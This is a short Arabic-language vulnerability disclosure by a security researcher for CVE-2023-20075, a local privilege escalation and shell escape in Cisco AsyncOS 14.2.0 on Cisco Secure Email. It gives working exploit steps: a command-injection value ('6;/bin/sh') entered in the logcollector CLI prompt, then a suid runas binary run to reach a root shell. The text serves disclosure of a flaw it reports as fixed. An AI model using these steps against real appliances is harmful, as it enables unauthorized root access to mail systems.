حول

باحث أمني: ly1g3، ly1g3[at]tuta.io

بصمة GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

نظرة عامة: تصعيد الامتيازات المحلية والهروب من الصدفة

CVE: CVE-2023-20075

الجدول الزمني:

• اكتشف - ly1g3
• أبلغ - ly1g3
• أصلح - Cisco

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email)

تصعيد الامتيازات - من واجهة الأوامر إلى شيل الجذر

مستخدم موثوق لديه وصول إلى واجهة الأوامر يمكنه تصعيد الامتيازات إلى الجذر وتنفيذ تعليمات برمجية عشوائية

خطوات الحصول على شيل

1. من واجهة الأوامر قم بتشغيل الأمر logcollector
2. اضغط 3
3. أدخل القيمة: 6;/bin/sh
4. شيل كمستخدم

خطوات الحصول على صلاحيات الجذر

1. من الشيل قم بتشغيل الثنائي suid runas
2. /data/release/phoebe-14*/bin/runas 0 /bin/sh
3. شيل كجذر